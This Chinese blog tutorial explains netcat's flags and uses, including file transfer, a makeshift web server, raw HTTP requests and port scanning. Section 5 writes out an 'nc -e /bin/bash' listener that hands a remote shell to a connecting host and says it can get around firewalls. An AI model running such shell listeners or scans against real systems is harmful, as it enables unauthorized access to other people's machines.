标签：netcat.nc
netcat或者是nc工具被称为网络上的瑞士军刀，因此netcat也有各个版本出现在各个系统中，而在Centos 7 开始netcat也被整合到namp项目中。当然如果是开源系统中，如Ubuntu或Linux系统中则可以通过apt或yum来进行安装，在DOS系统下可以通过下载nc for windows获取到二进制版的netcat。因为netcat工具实际上可以通过tcp、udp或者是socket等等的方式在两台主机之间建立链接，然后通过链接读取数据流，而在接收传输数据流的过程中可以任意发挥你的想象，因此它的功能十分强大，在这里就简单的介绍说明一下。
先说明下nc中比较常用的参数说明：
-4 : 强制nc使用ipv4 -6 : 强制nc使用ipv6 -D : 使用socket的方式 -d : daemon（后台）运行，就可以配置成服务 -l : 监听模式，如果没有特别指定后面常常隐式使用-p参数 -n : 使用ip的，而不使用域名 -p : 使用本地主机的端口，默认是tcp协议的端口 -r : 任意指定本地及远程端口 -s : 设置本地主机送出数据包的IP地址，主机上有多个IP时指定绑定的IP -U : 使用Unix的socket -u : 使用udp协议 -v : 详细输出 -z : 将输入输出关掉，即不进行交互，用于扫描时，注意在nmap的版本下没有这个参数 -w : 设置连接超时时间，单位秒
使用也很简单，可以通过简单的测试下：
1、测试2台主机数据流是否能通信（模拟Clint/Server模型）
host A（192.168.2.200）：
[root@localhost ~]# nc -lp 1234#注意防火墙上需要开启相应的监听端口
host B（192.168.2.203）：
[root@localhost ~]# nc 192.168.2.200 1234
此时如果hostB能连通hostA的tcp 1234端口时，在host A上的输出任何信息都会通过nc传送至host B上。
2、数据传输
host A：
[root@localhost ~]# ls -l 总用量 4 -rw------- 1 root root 1150 8月 9 00:54 file [root@localhost ~]# nc -l 1234 < file
host B：
[root@localhost ~]# ls -l 总用量 0 [root@localhost ~]# nc 192.168.2.200 1234 > file [root@localhost ~]# ls -l 总用量 4 -rw-r--r--. 1 root root 1150 9月 10 19:29 file
同理还可以使用tar命令传送数据流的形式压缩传递文件，以节省带宽
host A：
[root@localhost ~]# du -sh ./* 46M ./data [root@localhost ~]# tar -cjf - data | nc -l 1234
host B：
[root@localhost ~]# ls -l 总用量 0 [root@localhost ~]# nc 192.168.2.200 1234 | tar -jxf - [root@localhost ~]# ls -l 总用量 4 drwxr-xr-x. 9 root root 4096 9月 10 19:57 data
当然利用这个特性还可以用nc模拟web服务器提供静态页面（利用nc搭建临时web服务器）：
host A：
[root@localhost ~]# vim test.html 123 [root@localhost ~]# vim nc_web.sh #!/bin/bash while true; do nc -l 80 < test.html; done [root@localhost ~]# chmod +x nc_web.sh && ./nc_web.sh
host B：
[root@localhost ~]# curl 192.168.2.200 123
当然利用nc的特性，在此功能上还能衍生出其他的很多功能，如：备份、设备克隆，网络测速，下载、压测等等，在此就不一一介绍了。
3、给服务器发送消息
如给一个网址发送一个http的地址头：
[root@localhost ~]# echo -n "GET / HTTP/1.0\\r\\n\\r\\n" | nc www.baidu.com 80 -v Connection to www.baidu.com 80 port [tcp/http] succeeded!
同理利用这个特性也可以使用nc给SMTP服务器发消息用来发邮件等等。
4、端口探测
在这里nc的功能比telnet好用多了，默认是tcp端口：
[root@localhost test]# nc -zvn 192.168.2.203 22 nc: connect to 192.168.2.203 port 22 (tcp) failed: Connection refused
udp端口：
[root@localhost ~]# nc -zvun 192.168.2.200 1234
某一端口段：
[root@localhost ~]# nc -zvn 192.168.2.200 1-1024
5、shell/cmd反弹：
host A：
[root@localhost ~]# nc -l -p 1234 -t -e /bin/bash
-t：telnet的方式
host B：
[root@localhost ~]# nc 192.168.2.200 1234 ls / 1 app bin boot data dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
该方法可以绕过防火墙，对目标机shell连接，同理用nc实现端口转发也是利用该原理。
6、自定义http的头来访问页面
这里建议用www.try2hack.nl网站去测试，在其中一些信息可以谁便填
[root@localhost ~]# nc www.try2hack.nl 80 GET / HTTP/1.1 Host: baidu.com Referrer: Mozilla/5.0 User-Agent: my-browser
在2次回车后就把别人的整个http头和相关静态页面都获取下来。
总之netcat/nc是一个十分实用且的强悍的工具，发挥你的想象灵活多变它可以实现你很多功能，在这里就不全部一一介绍了。
本文出自 “Jim的技术随笔” 博客，谢绝转载！
标签：netcat.nc
原文地址：http://jim123.blog.51cto.com/4763600/1964214
